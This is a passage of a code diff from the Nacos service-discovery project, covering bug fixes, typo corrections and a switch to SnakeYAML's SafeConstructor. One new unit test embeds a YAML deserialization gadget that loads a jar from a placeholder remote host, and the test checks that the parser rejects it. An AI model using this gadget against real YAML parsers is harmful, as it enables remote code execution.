* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.nacos.client.config.impl;
import com.alibaba.nacos.api.common.Constants;
import com.alibaba.nacos.api.utils.StringUtils;
import com.alibaba.nacos.client.config.utils.ConcurrentDiskUtil;
import com.alibaba.nacos.client.config.utils.JvmUtil;
import com.alibaba.nacos.client.config.utils.SnapShotSwitch;
import com.alibaba.nacos.client.utils.LogUtils;
import com.alibaba.nacos.common.utils.IoUtils;
import org.slf4j.Logger;
import java.io.File;
import java.io.IOException;
/**
* 密文数据密钥EncryptedDataKey的本地快照容灾目录相关.
*
* @author luyanbo(RobberPhex)
*/
public class LocalEncryptedDataKeyProcessor extends LocalConfigInfoProcessor {
private static final Logger LOGGER = LogUtils.logger(LocalEncryptedDataKeyProcessor.class);
/**
* 获取容灾配置的 EncryptedDataKeyNULL表示没有本地文件或抛出异常.
*/
public static String getEncryptDataKeyFailover(String envName, String dataId, String group, String tenant) {
File file = getEncryptDataKeyFailoverFile(envName, dataId, group, tenant);
if (!file.exists() || !file.isFile()) {
return null;
}
try {
return readFile(file);
} catch (IOException ioe) {
LOGGER.error("[" + envName + "] get failover error, " + file, ioe);
return null;
}
}
/**
* 获取本地缓存文件的 EncryptedDataKeyNULL表示没有本地文件或抛出异常.
*/
public static String getEncryptDataKeySnapshot(String envName, String dataId, String group, String tenant) {
if (!SnapShotSwitch.getIsSnapShot()) {
return null;
}
File file = getEncryptDataKeySnapshotFile(envName, dataId, group, tenant);
if (!file.exists() || !file.isFile()) {
return null;
}
try {
return readFile(file);
} catch (IOException ioe) {
LOGGER.error("[" + envName + "] get snapshot error, " + file, ioe);
return null;
}
}
/**
* 保存 encryptDataKey 的snapshot如果内容为NULL则删除snapshot.
*/
public static void saveEncryptDataKeySnapshot(String envName, String dataId, String group, String tenant,
String encryptDataKey) {
if (!SnapShotSwitch.getIsSnapShot()) {
return;
}
File file = getEncryptDataKeySnapshotFile(envName, dataId, group, tenant);
try {
if (null == encryptDataKey) {
try {
IoUtils.delete(file);
} catch (IOException ioe) {
LOGGER.error("[" + envName + "] delete snapshot error, " + file, ioe);
}
} else {
File parentFile = file.getParentFile();
if (!parentFile.exists()) {
boolean isMdOk = parentFile.mkdirs();
if (!isMdOk) {
LOGGER.error("[{}] save snapshot error", envName);
}
}
if (JvmUtil.isMultiInstance()) {
ConcurrentDiskUtil.writeFileContent(file, encryptDataKey, Constants.ENCODE);
} else {
IoUtils.writeStringToFile(file, encryptDataKey, Constants.ENCODE);
}
}
} catch (IOException ioe) {
LOGGER.error("[" + envName + "] save snapshot error, " + file, ioe);
}
}
private static File getEncryptDataKeyFailoverFile(String envName, String dataId, String group, String tenant) {
File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + "_nacos");
tmp = new File(tmp, "encrypted-data-key");
if (StringUtils.isBlank(tenant)) {
tmp = new File(tmp, "failover");
} else {
tmp = new File(tmp, "failover-tenant");
tmp = new File(tmp, tenant);
}
return new File(new File(tmp, group), dataId);
}
private static File getEncryptDataKeySnapshotFile(String envName, String dataId, String group, String tenant) {
File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + "_nacos");
tmp = new File(tmp, "encrypted-data-key");
if (StringUtils.isBlank(tenant)) {
tmp = new File(tmp, "snapshot");
} else {
tmp = new File(tmp, "snapshot-tenant");
tmp = new File(tmp, tenant);
}
return new File(new File(tmp, group), dataId);
}
}

View File

@ -17,8 +17,12 @@
package com.alibaba.nacos.client.config.impl;
import com.alibaba.nacos.api.config.ConfigChangeItem;
import com.alibaba.nacos.api.exception.NacosException;
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
import com.alibaba.nacos.common.utils.StringUtils;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.ConstructorException;
import org.yaml.snakeyaml.constructor.SafeConstructor;
import java.util.Collection;
import java.util.Collections;
@ -33,6 +37,8 @@ import java.util.Map;
*/
public class YmlChangeParser extends AbstractConfigChangeParser {
private static final String INVALID_CONSTRUCTOR_ERROR_INFO = "could not determine a constructor for the tag";
public YmlChangeParser() {
super("yaml");
}
@ -41,20 +47,34 @@ public class YmlChangeParser extends AbstractConfigChangeParser {
public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) {
Map<String, Object> oldMap = Collections.emptyMap();
Map<String, Object> newMap = Collections.emptyMap();
if (StringUtils.isNotBlank(oldContent)) {
oldMap = (new Yaml()).load(oldContent);
oldMap = getFlattenedMap(oldMap);
}
if (StringUtils.isNotBlank(newContent)) {
newMap = (new Yaml()).load(newContent);
newMap = getFlattenedMap(newMap);
try {
Yaml yaml = new Yaml(new SafeConstructor());
if (StringUtils.isNotBlank(oldContent)) {
oldMap = yaml.load(oldContent);
oldMap = getFlattenedMap(oldMap);
}
if (StringUtils.isNotBlank(newContent)) {
newMap = yaml.load(newContent);
newMap = getFlattenedMap(newMap);
}
} catch (ConstructorException e) {
handleYamlException(e);
}
return filterChangeData(oldMap, newMap);
}
private final Map<String, Object> getFlattenedMap(Map<String, Object> source) {
private void handleYamlException(ConstructorException e) {
if (e.getMessage().startsWith(INVALID_CONSTRUCTOR_ERROR_INFO)) {
throw new NacosRuntimeException(NacosException.INVALID_PARAM,
"AbstractConfigChangeListener only support basic java data type for yaml. If you want to listen "
+ "key changes for custom classes, please use `Listener` to listener whole yaml configuration and parse it by yourself.",
e);
}
throw e;
}
private Map<String, Object> getFlattenedMap(Map<String, Object> source) {
Map<String, Object> result = new LinkedHashMap<String, Object>(128);
buildFlattenedMap(result, source, null);
return result;

View File

@ -18,6 +18,7 @@ package com.alibaba.nacos.client.logging.log4j2;
import com.alibaba.nacos.client.logging.AbstractNacosLogging;
import com.alibaba.nacos.common.utils.ResourceUtils;
import com.alibaba.nacos.common.utils.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.core.Appender;
import org.apache.logging.log4j.core.LoggerContext;
@ -49,6 +50,10 @@ public class Log4J2NacosLogging extends AbstractNacosLogging {
@Override
public void loadConfiguration() {
if (StringUtils.isBlank(location)) {
return;
}
final LoggerContext loggerContext = (LoggerContext) LogManager.getContext(false);
final Configuration contextConfiguration = loggerContext.getConfiguration();

View File

@ -197,9 +197,13 @@ public class BeatReactor implements Closeable {
} catch (NacosException ex) {
NAMING_LOGGER.error("[CLIENT-BEAT] failed to send beat: {}, code: {}, msg: {}",
JacksonUtils.toJson(beatInfo), ex.getErrCode(), ex.getErrMsg());
} catch (Exception unknownEx) {
NAMING_LOGGER.error("[CLIENT-BEAT] failed to send beat: {}, unknown exception msg: {}",
JacksonUtils.toJson(beatInfo), unknownEx.getMessage(), unknownEx);
} finally {
executorService.schedule(new BeatTask(beatInfo), nextTime, TimeUnit.MILLISECONDS);
}
executorService.schedule(new BeatTask(beatInfo), nextTime, TimeUnit.MILLISECONDS);
}
}
}

View File

@ -162,7 +162,11 @@ public class HostReactor implements Closeable {
*/
public ServiceInfo processServiceJson(String json) {
ServiceInfo serviceInfo = JacksonUtils.toObj(json, ServiceInfo.class);
ServiceInfo oldService = serviceInfoMap.get(serviceInfo.getKey());
String serviceKey = serviceInfo.getKey();
if (serviceKey == null) {
return null;
}
ServiceInfo oldService = serviceInfoMap.get(serviceKey);
if (pushEmptyProtection && !serviceInfo.validate()) {
//empty or error push, just ignore

View File

@ -16,6 +16,7 @@
package com.alibaba.nacos.client.naming.core;
import com.alibaba.nacos.api.PropertyKeyConst;
import com.alibaba.nacos.api.exception.NacosException;
import com.alibaba.nacos.common.lifecycle.Closeable;
import com.alibaba.nacos.common.utils.IoUtils;
@ -25,6 +26,7 @@ import com.alibaba.nacos.common.utils.ThreadUtils;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetSocketAddress;
import java.nio.charset.Charset;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledThreadPoolExecutor;
@ -51,10 +53,19 @@ public class PushReceiver implements Runnable, Closeable {
private volatile boolean closed = false;
public static String getPushReceiverUdpPort() {
return System.getenv(PropertyKeyConst.PUSH_RECEIVER_UDP_PORT);
}
public PushReceiver(HostReactor hostReactor) {
try {
this.hostReactor = hostReactor;
this.udpSocket = new DatagramSocket();
String udpPort = getPushReceiverUdpPort();
if (StringUtils.isEmpty(udpPort)) {
this.udpSocket = new DatagramSocket();
} else {
this.udpSocket = new DatagramSocket(new InetSocketAddress(Integer.parseInt(udpPort)));
}
this.executorService = new ScheduledThreadPoolExecutor(1, new ThreadFactory() {
@Override
public Thread newThread(Runnable r) {

View File

@ -142,6 +142,9 @@ public class NamingProxy implements Closeable {
}
});
refreshSrvIfNeed();
this.securityProxy.login(getServerList());
this.executorService.scheduleWithFixedDelay(new Runnable() {
@Override
public void run() {
@ -155,9 +158,6 @@ public class NamingProxy implements Closeable {
securityProxy.login(getServerList());
}
}, 0, securityInfoRefreshIntervalMills, TimeUnit.MILLISECONDS);
refreshSrvIfNeed();
this.securityProxy.login(getServerList());
}
public List<String> getServerListFromEndpoint() {

View File

@ -118,7 +118,7 @@ public class Chooser<K, T> {
public Ref(List<Pair<T>> itemsWithWeight) {
this.itemsWithWeight = itemsWithWeight;
}
/**
* Refresh.
*/
@ -167,7 +167,7 @@ public class Chooser<K, T> {
return;
}
throw new IllegalStateException(
"Cumulative Weight caculate wrong , the sum of probabilities does not equals 1.");
"Cumulative Weight calculate wrong , the sum of probabilities does not equals 1.");
}
@Override

View File

@ -49,7 +49,7 @@ public class SecurityProxy {
private final NacosRestTemplate nacosRestTemplate;
private String contextPath;
private final String contextPath;
/**
* User's name.
@ -64,7 +64,7 @@ public class SecurityProxy {
/**
* A token to take with when sending request to Nacos server.
*/
private String accessToken;
private volatile String accessToken;
/**
* TTL of token in seconds.
@ -89,7 +89,8 @@ public class SecurityProxy {
public SecurityProxy(Properties properties, NacosRestTemplate nacosRestTemplate) {
username = properties.getProperty(PropertyKeyConst.USERNAME, StringUtils.EMPTY);
password = properties.getProperty(PropertyKeyConst.PASSWORD, StringUtils.EMPTY);
contextPath = ContextPathUtil.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
contextPath = ContextPathUtil
.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
this.nacosRestTemplate = nacosRestTemplate;
}
@ -113,7 +114,8 @@ public class SecurityProxy {
return true;
}
}
} catch (Throwable ignore) {
} catch (Throwable throwable) {
SECURITY_LOGGER.warn("[SecurityProxy] login failed, error: ", throwable);
}
return false;

View File

@ -164,12 +164,7 @@ public class ParamUtil {
String.valueOf(Constants.DEFAULT_USE_CLOUD_NAMESPACE_PARSING)));
if (Boolean.parseBoolean(isUseCloudNamespaceParsing)) {
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
@Override
public String call() {
return TenantUtil.getUserTenantForAcm();
}
});
namespaceTmp = TenantUtil.getUserTenantForAcm();
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
@Override

View File

@ -64,7 +64,7 @@ public class TemplateUtils {
}
}
return source.trim();
return source == null ? null : source.trim();
}
/**
@ -85,6 +85,6 @@ public class TemplateUtils {
}
}
return source.trim();
return source == null ? null : source.trim();
}
}

View File

@ -40,8 +40,8 @@ public class GroupKeyTest {
@Test
public void testParseKey() {
Assert.assertArrayEquals(new String[] {null, "f+oo", null}, GroupKey.parseKey("f%2Boo"));
Assert.assertArrayEquals(new String[] {null, "f%oo", null}, GroupKey.parseKey("f%25oo"));
Assert.assertArrayEquals(new String[] {"a", "f+oo", null}, GroupKey.parseKey("a+f%2Boo"));
Assert.assertArrayEquals(new String[] {"b", "f%oo", null}, GroupKey.parseKey("b+f%25oo"));
}
@Test
@ -61,4 +61,22 @@ public class GroupKeyTest {
thrown.expect(IllegalArgumentException.class);
GroupKey.parseKey("f+o+o+bar");
}
@Test
public void testParseKeyIllegalArgumentException4() {
thrown.expect(IllegalArgumentException.class);
GroupKey.parseKey("f++bar");
}
@Test
public void testGetKeyDatIdParam() {
thrown.expect(IllegalArgumentException.class);
GroupKey.getKey("", "a");
}
@Test
public void testGetKeyGroupParam() {
thrown.expect(IllegalArgumentException.class);
GroupKey.getKey("a", "");
}
}

View File

@ -17,6 +17,7 @@
package com.alibaba.nacos.client.config.listener.impl;
import com.alibaba.nacos.api.config.ConfigChangeItem;
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
import com.alibaba.nacos.client.config.impl.YmlChangeParser;
import org.junit.Assert;
import org.junit.Test;
@ -55,5 +56,12 @@ public class YmlChangeParserTest {
Assert.assertEquals("rocketMQ", map.get("app.name").getOldValue());
Assert.assertEquals("nacos", map.get("app.name").getNewValue());
}
@Test(expected = NacosRuntimeException.class)
public void testChangeInvalidKey() {
parser.doParse("anykey:\n a", "anykey: !!javax.script.ScriptEngineManager [\n"
+ " !!java.net.URLClassLoader [[\n"
+ " !!java.net.URL [\"http://[yourhost]:[port]/yaml-payload.jar\"]\n" + " ]]\n" + "]", type);
}
}

View File

@ -21,7 +21,7 @@
<parent>
<artifactId>nacos-all</artifactId>
<groupId>com.alibaba.nacos</groupId>
<version>1.4.1</version>
<version>${revision}</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>

View File

@ -52,7 +52,7 @@ public interface CmdbReader {
*
* @param labelName name of label
* @param labelValue value of label
* @return list of entiy
* @return list of entity
*/
List<Entity> queryEntitiesByLabel(String labelName, String labelValue);
}

View File

@ -21,7 +21,7 @@
<parent>
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-all</artifactId>
<version>1.4.1</version>
<version>${revision}</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>

View File

@ -41,7 +41,7 @@ public class NameThreadFactory implements ThreadFactory {
@Override
public Thread newThread(Runnable r) {
String threadName = name + id.getAndDecrement();
String threadName = name + id.getAndIncrement();
Thread thread = new Thread(r, threadName);
thread.setDaemon(true);
return thread;

View File

@ -24,6 +24,8 @@ import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.util.List;
import java.util.Map;
/**
* JDk http client response implement.
@ -49,7 +51,9 @@ public class JdkHttpClientResponse implements HttpClientResponse {
if (this.responseHeader == null) {
this.responseHeader = Header.newInstance();
}
this.responseHeader.setOriginalResponseHeader(conn.getHeaderFields());
for (Map.Entry<String, List<String>> entry : conn.getHeaderFields().entrySet()) {
this.responseHeader.addOriginalResponseHeader(entry.getKey(), entry.getValue());
}
return this.responseHeader;
}

View File

@ -23,9 +23,9 @@ import com.alibaba.nacos.common.utils.StringUtils;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
/**
* Http header.
@ -41,8 +41,8 @@ public class Header {
private final Map<String, List<String>> originalResponseHeader;
private Header() {
header = new LinkedHashMap<String, String>();
originalResponseHeader = new LinkedHashMap<String, List<String>>();
header = new TreeMap<String, String>(String.CASE_INSENSITIVE_ORDER);
originalResponseHeader = new TreeMap<String, List<String>>(String.CASE_INSENSITIVE_ORDER);
addParam(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_JSON);
addParam(HttpHeaderConsts.ACCEPT_CHARSET, "UTF-8");
addParam(HttpHeaderConsts.ACCEPT_ENCODING, "gzip");
@ -142,14 +142,13 @@ public class Header {
*
* <p>Currently only corresponds to the response header of JDK.
*
* @param headers original response header
* @param key original response header key
* @param values original response header values
*/
public void setOriginalResponseHeader(Map<String, List<String>> headers) {
if (MapUtils.isNotEmpty(headers)) {
this.originalResponseHeader.putAll(headers);
for (Map.Entry<String, List<String>> entry : this.originalResponseHeader.entrySet()) {
addParam(entry.getKey(), entry.getValue().get(0));
}
public void addOriginalResponseHeader(String key, List<String> values) {
if (StringUtils.isNotEmpty(key)) {
this.originalResponseHeader.put(key, values);
addParam(key, values.get(0));
}
}

View File

@ -30,6 +30,6 @@ public interface Closeable {
*
* @throws NacosException exception.
*/
public void shutdown() throws NacosException;
void shutdown() throws NacosException;
}

View File

@ -191,7 +191,7 @@ public final class CollectionUtils {
*
* @param coll collection
* @param target target value
* @param <T> Genreal Type
* @param <T> General Type
* @return true if contain, otherwise false
*/
public static <T> boolean contains(Collection<T> coll, T target) {
@ -236,7 +236,7 @@ public final class CollectionUtils {
* @param defaultValue default value
* @param <T> General Type
* @return the value to which the specified index , or {@code defaultValue} if this collection contains no value for
* the index.
* the index.
*/
public static <T> T getOrDefault(Collection<T> coll, int index, T defaultValue) {
try {

View File

@ -17,7 +17,10 @@
package com.alibaba.nacos.common.utils;
import java.util.AbstractSet;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
@ -46,7 +49,11 @@ public class ConcurrentHashSet<E> extends AbstractSet<E> {
@Override
public Iterator<E> iterator() {
return map.keySet().iterator();
List<E> list = new ArrayList<E>();
for (Map.Entry<E, Boolean> entry : map.entrySet()) {
list.add(entry.getKey());
}
return list.iterator();
}
@Override

View File

@ -73,11 +73,7 @@ public class IPUtil {
* @return boolean
*/
public static boolean isIPv4(String addr) {
try {
return InetAddress.getByName(addr).getAddress().length == IPV4_ADDRESS_LENGTH;
} catch (UnknownHostException e) {
return false;
}
return ipv4Pattern.matcher(addr).matches();
}
/**
@ -101,12 +97,7 @@ public class IPUtil {
* @return boolean
*/
public static boolean isIP(String addr) {
try {
InetAddress.getByName(addr);
return true;
} catch (UnknownHostException e) {
return false;
}
return isIPv4(addr) || isIPv6(addr);
}
/**
@ -148,9 +139,6 @@ public class IPUtil {
throw new IllegalArgumentException("The IP address(\"" + str
+ "\") is incorrect. If it is an IPv6 address, please use [] to enclose the IP part!");
}
if (!isIPv4(serverAddrArr[0])) {
throw new IllegalArgumentException("The IPv4 address(\"" + serverAddrArr[0] + "\") is incorrect.");
}
}
return serverAddrArr;
}
@ -174,9 +162,6 @@ public class IPUtil {
Matcher m = ipv4Pattern.matcher(str);
if (m.find()) {
result = m.group();
if (!isIPv4(result)) {
result = "";
}
}
}
return result;

View File

@ -76,7 +76,7 @@ public class MD5Utils {
}
/**
* 将一个字节数组转化为可见的字符串.
* Convert a byte array into a visible string.
*/
public static String encodeHexString(byte[] bytes) {
int l = bytes.length;

View File

@ -31,8 +31,6 @@ public class Observable {
private volatile int observerCnt = 0;
private boolean alreadyAddObserver = false;
/**
* Adds an observer to the set of observers for this object, provided that it is not the same as some observer
* already in the set. The order in which notifications will be delivered to multiple observers is not specified.
@ -45,10 +43,7 @@ public class Observable {
Objects.requireNonNull(o, "Observer");
obs.add(o);
observerCnt++;
if (!alreadyAddObserver) {
notifyAll();
}
alreadyAddObserver = true;
o.update(this);
}
/**
@ -66,25 +61,9 @@ public class Observable {
* If this object has changed, as indicated by the {@code hasChanged} method, then notify all of its observers and
* then call the {@code clearChanged} method to indicate that this object has no longer changed.
*
* <p>Each observer has its {@code update} method called with two arguments: this observable object and {@code
* null}. In other words, this method is equivalent to:
* <blockquote>{@code
* notifyObservers(null)}</blockquote>
* <p>Each observer has its {@code update} method called with one argument: this observable object.
*/
public void notifyObservers() {
notifyObservers(null);
}
/**
* If this object has changed, as indicated by the {@code hasChanged} method, then notify all of its observers and
* then call the {@code clearChanged} method to indicate that this object has no longer changed.
*
* <p>Each observer has its {@code update} method called with two arguments: this observable object and the {@code
* arg} argument.
*
* @param arg any object.
*/
public void notifyObservers(Object arg) {
synchronized (this) {
/* We don't want the Observer doing callbacks into
* arbitrary code while holding its own Monitor.
@ -102,13 +81,9 @@ public class Observable {
return;
}
clearChanged();
if (!alreadyAddObserver) {
ThreadUtils.objectWait(this);
}
}
for (Observer observer : obs) {
observer.update(this, arg);
observer.update(this);
}
}

View File

@ -20,6 +20,7 @@ package com.alibaba.nacos.common.utils;
* Obeserver.
*
* @author <a href="mailto:liaochuntao@live.com">liaochuntao</a>
* @author xiweng.yy
*/
public interface Observer {
@ -27,9 +28,8 @@ public interface Observer {
* This method is called whenever the observed object is changed. An application calls an {@code Observable}
* object's {@code notifyObservers} method to have all the object's observers notified of the change.
*
* @param o the observable object.
* @param arg an argument passed to the {@code notifyObservers} method.
* @param o the observable object.
*/
void update(Observable o, Object arg);
void update(Observable o);
}

View File

@ -14,19 +14,18 @@
* limitations under the License.
*/
package com.alibaba.nacos.address;
package com.alibaba.nacos.common.http.param;
import com.alibaba.nacos.common.utils.IPUtil;
import org.junit.Test;
public class ParamCheckUtilTests {
import static org.junit.Assert.assertEquals;
public class HeaderTest {
@Test
public void checkIPs() {
String[] ips = {"127.0.0.1"};
System.out.println(IPUtil.checkIPs(ips));
String[] illlegalIps = {"127.100.19", "127.0.0.1"};
System.err.println(IPUtil.checkIPs(illlegalIps));
public void testHeaderKyeIgnoreCase() {
Header header = Header.newInstance();
header.addParam("Content-Encoding", "gzip");
assertEquals("gzip", header.getValue("content-encoding"));
}
}

View File

@ -33,6 +33,7 @@ public class IPUtilTest {
Assert.assertFalse(IPUtil.isIPv4("[::1]"));
Assert.assertFalse(IPUtil.isIPv4("asdfasf"));
Assert.assertFalse(IPUtil.isIPv4("ffgertert"));
Assert.assertFalse(IPUtil.isIPv4("127.100.19"));
}
@Test
@ -47,6 +48,7 @@ public class IPUtilTest {
Assert.assertTrue(IPUtil.isIP("[::1]"));
Assert.assertTrue(IPUtil.isIP("127.0.0.1"));
Assert.assertFalse(IPUtil.isIP("er34234"));
Assert.assertFalse(IPUtil.isIP("127.100.19"));
}
@Test
@ -92,6 +94,15 @@ public class IPUtilTest {
checkSplitIPPortStr("[127.0.0.1]:88", true);
}
@Test
public void testCheckIPs() {
String[] ips = {"127.0.0.1"};
Assert.assertEquals("ok", IPUtil.checkIPs(ips));
String[] illegalIps = {"127.100.19", "127.0.0.1"};
Assert.assertEquals("illegal ip: 127.100.19", IPUtil.checkIPs(illegalIps));
}
/**
* checkSplitIpPortStr.
* 2020/9/4 14:12

View File

@ -20,7 +20,7 @@
<parent>
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-all</artifactId>
<version>1.4.1</version>
<version>${revision}</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@ -135,6 +135,10 @@
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
</dependency>
</dependencies>
<build>
<plugins>

View File

@ -61,7 +61,7 @@ public class CapacityManagementAspect {
private PersistService persistService;
/**
* Need to judge the size of content whether to exceed the limination.
* Need to judge the size of content whether to exceed the limitation.
*/
@Around(SYNC_UPDATE_CONFIG_ALL)
public Object aroundSyncUpdateConfigAll(ProceedingJoinPoint pjp, HttpServletRequest request,
@ -74,7 +74,7 @@ public class CapacityManagementAspect {
String betaIps = request.getHeader("betaIps");
if (StringUtils.isBlank(betaIps)) {
if (StringUtils.isBlank(tag)) {
// do capacity management limination check for writting or updating config_info table.
// do capacity management limitation check for writing or updating config_info table.
if (persistService.findConfigInfo(dataId, group, tenant) == null) {
// Write operation.
return do4Insert(pjp, request, response, group, tenant, content);
@ -87,7 +87,7 @@ public class CapacityManagementAspect {
}
/**
* Update operation: open the limination of capacity management and it will check the size of content.
* Update operation: open the limitation of capacity management and it will check the size of content.
*
* @throws Throwable Throws Exception when actually operate.
*/
@ -109,11 +109,10 @@ public class CapacityManagementAspect {
}
/**
* Write operation.
* Step 1: count whether to open the limination checking funtion for capacity management;
* Step 2: open limination checking capacity management and check size of content and quota;
* Write operation. Step 1: count whether to open the limitation checking function for capacity management; Step 2:
* open limitation checking capacity management and check size of content and quota;
*
* @throws Throwable Expcetion.
* @throws Throwable Exception.
*/
private Object do4Insert(ProceedingJoinPoint pjp, HttpServletRequest request, HttpServletResponse response,
String group, String tenant, String content) throws Throwable {
@ -143,7 +142,8 @@ public class CapacityManagementAspect {
}
/**
* The usage of capacity table for counting module will subtracte one whether open the limination check of capacity management.
* The usage of capacity table for counting module will subtracte one whether open the limitation check of capacity
* management.
*/
@Around(DELETE_CONFIG)
public Object aroundDeleteConfig(ProceedingJoinPoint pjp, HttpServletRequest request, HttpServletResponse response,
@ -162,7 +162,7 @@ public class CapacityManagementAspect {
/**
* Delete Operation.
*
* @throws Throwable Expcetion.
* @throws Throwable Exception.
*/
private Object do4Delete(ProceedingJoinPoint pjp, HttpServletResponse response, String group, String tenant,
ConfigInfo configInfo) throws Throwable {
@ -181,7 +181,7 @@ public class CapacityManagementAspect {
correctUsage(group, tenant, hasTenant);
return pjp.proceed();
}
// The same record can be deleted concurrently. This interface can be deleted asynchronously(submit MergeDataTask
// to MergeTaskProcessor for processing), It may lead to more than one decrease in usage.
// Therefore, it is necessary to modify the usage job regularly.
@ -221,7 +221,7 @@ public class CapacityManagementAspect {
}
/**
* Usage counting service: it will count whether the limination check funtion will be open.
* Usage counting service: it will count whether the limitation check function will be open.
*/
private void insertOrUpdateUsage(String group, String tenant, CounterMode counterMode, boolean hasTenant) {
try {
@ -333,13 +333,13 @@ public class CapacityManagementAspect {
if (capacity != null) {
Integer maxSize = getMaxSize(isAggr, capacity);
if (maxSize == 0) {
// If there exists capacity info and maxSize = 0, then it uses maxSize limination default value to compare.
// If there exists capacity info and maxSize = 0, then it uses maxSize limitation default value to compare.
return isOverSize(group, tenant, currentSize, defaultMaxSize, hasTenant);
}
// If there exists capacity info, then maxSize!=0.
return isOverSize(group, tenant, currentSize, maxSize, hasTenant);
}
// If there no exists capacity info, then it uses maxSize limination default value to compare.
// If there no exists capacity info, then it uses maxSize limitation default value to compare.
return isOverSize(group, tenant, currentSize, defaultMaxSize, hasTenant);
}
@ -420,7 +420,7 @@ public class CapacityManagementAspect {
}
/**
* limit tyep.
* limit type.
*
* @author Nacos.
*/

View File

@ -267,4 +267,10 @@ public class Constants {
* Specifies that reads wait without timeout.
*/
public static final String EXTEND_NEED_READ_UNTIL_HAVE_DATA = "00--0-read-join-0--00";
public static final String CONFIG_EXPORT_ITEM_FILE_SEPARATOR = "/";
public static final String CONFIG_EXPORT_METADATA = ".meta.yml";
public static final String CONFIG_EXPORT_METADATA_NEW = ".metadata.yml";
}

View File

@ -90,7 +90,7 @@ public class CapacityController {
}
/**
* Modify group or capacity of tenant, and init record when capacity informations are still initial.
* Modify group or capacity of tenant, and init record when capacity information are still initial.
*/
@PostMapping
public RestResult<Boolean> updateCapacity(HttpServletResponse response,

View File

@ -23,6 +23,7 @@ import com.alibaba.nacos.auth.common.ActionTypes;
import com.alibaba.nacos.common.model.RestResult;
import com.alibaba.nacos.common.model.RestResultUtils;
import com.alibaba.nacos.common.utils.MapUtils;
import com.alibaba.nacos.common.utils.NamespaceUtil;
import com.alibaba.nacos.config.server.auth.ConfigResourceParser;
import com.alibaba.nacos.config.server.constant.Constants;
import com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;
@ -30,6 +31,7 @@ import com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;
import com.alibaba.nacos.config.server.model.ConfigAllInfo;
import com.alibaba.nacos.config.server.model.ConfigInfo;
import com.alibaba.nacos.config.server.model.ConfigInfo4Beta;
import com.alibaba.nacos.config.server.model.ConfigMetadata;
import com.alibaba.nacos.config.server.model.GroupkeyListenserStatus;
import com.alibaba.nacos.config.server.model.Page;
import com.alibaba.nacos.config.server.model.SameConfigPolicy;
@ -41,11 +43,12 @@ import com.alibaba.nacos.config.server.service.ConfigChangePublisher;
import com.alibaba.nacos.config.server.service.ConfigSubService;
import com.alibaba.nacos.config.server.service.repository.PersistService;
import com.alibaba.nacos.config.server.service.trace.ConfigTraceService;
import com.alibaba.nacos.config.server.utils.GroupKey;
import com.alibaba.nacos.config.server.utils.MD5Util;
import com.alibaba.nacos.config.server.utils.ParamUtils;
import com.alibaba.nacos.config.server.utils.RequestUtil;
import com.alibaba.nacos.common.utils.NamespaceUtil;
import com.alibaba.nacos.config.server.utils.TimeUtils;
import com.alibaba.nacos.config.server.utils.YamlParserUtil;
import com.alibaba.nacos.config.server.utils.ZipUtils;
import com.alibaba.nacos.sys.utils.InetUtils;
import org.apache.commons.lang3.StringUtils;
@ -79,6 +82,7 @@ import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.Set;
import java.util.stream.Collectors;
/**
@ -153,7 +157,7 @@ public class ConfigController {
ParamUtils.checkParam(configAdvanceInfo);
if (AggrWhitelist.isAggrDataId(dataId)) {
LOGGER.warn("[aggr-conflict] {} attemp to publish single data, {}, {}", RequestUtil.getRemoteIp(request),
LOGGER.warn("[aggr-conflict] {} attempt to publish single data, {}, {}", RequestUtil.getRemoteIp(request),
dataId, group);
throw new NacosException(NacosException.NO_RIGHT, "dataId:" + dataId + " is aggr");
}
@ -185,7 +189,7 @@ public class ConfigController {
}
/**
* Get configure board infomation fail.
* Get configure board information fail.
*
* @throws ServletException ServletException.
* @throws IOException IOException.
@ -492,11 +496,11 @@ public class ConfigController {
// Fixed use of "\r\n" here
.append(ci.getAppName()).append("\r\n");
}
String itemName = ci.getGroup() + "/" + ci.getDataId();
String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();
zipItemList.add(new ZipUtils.ZipItem(itemName, ci.getContent()));
}
if (metaData != null) {
zipItemList.add(new ZipUtils.ZipItem(".meta.yml", metaData.toString()));
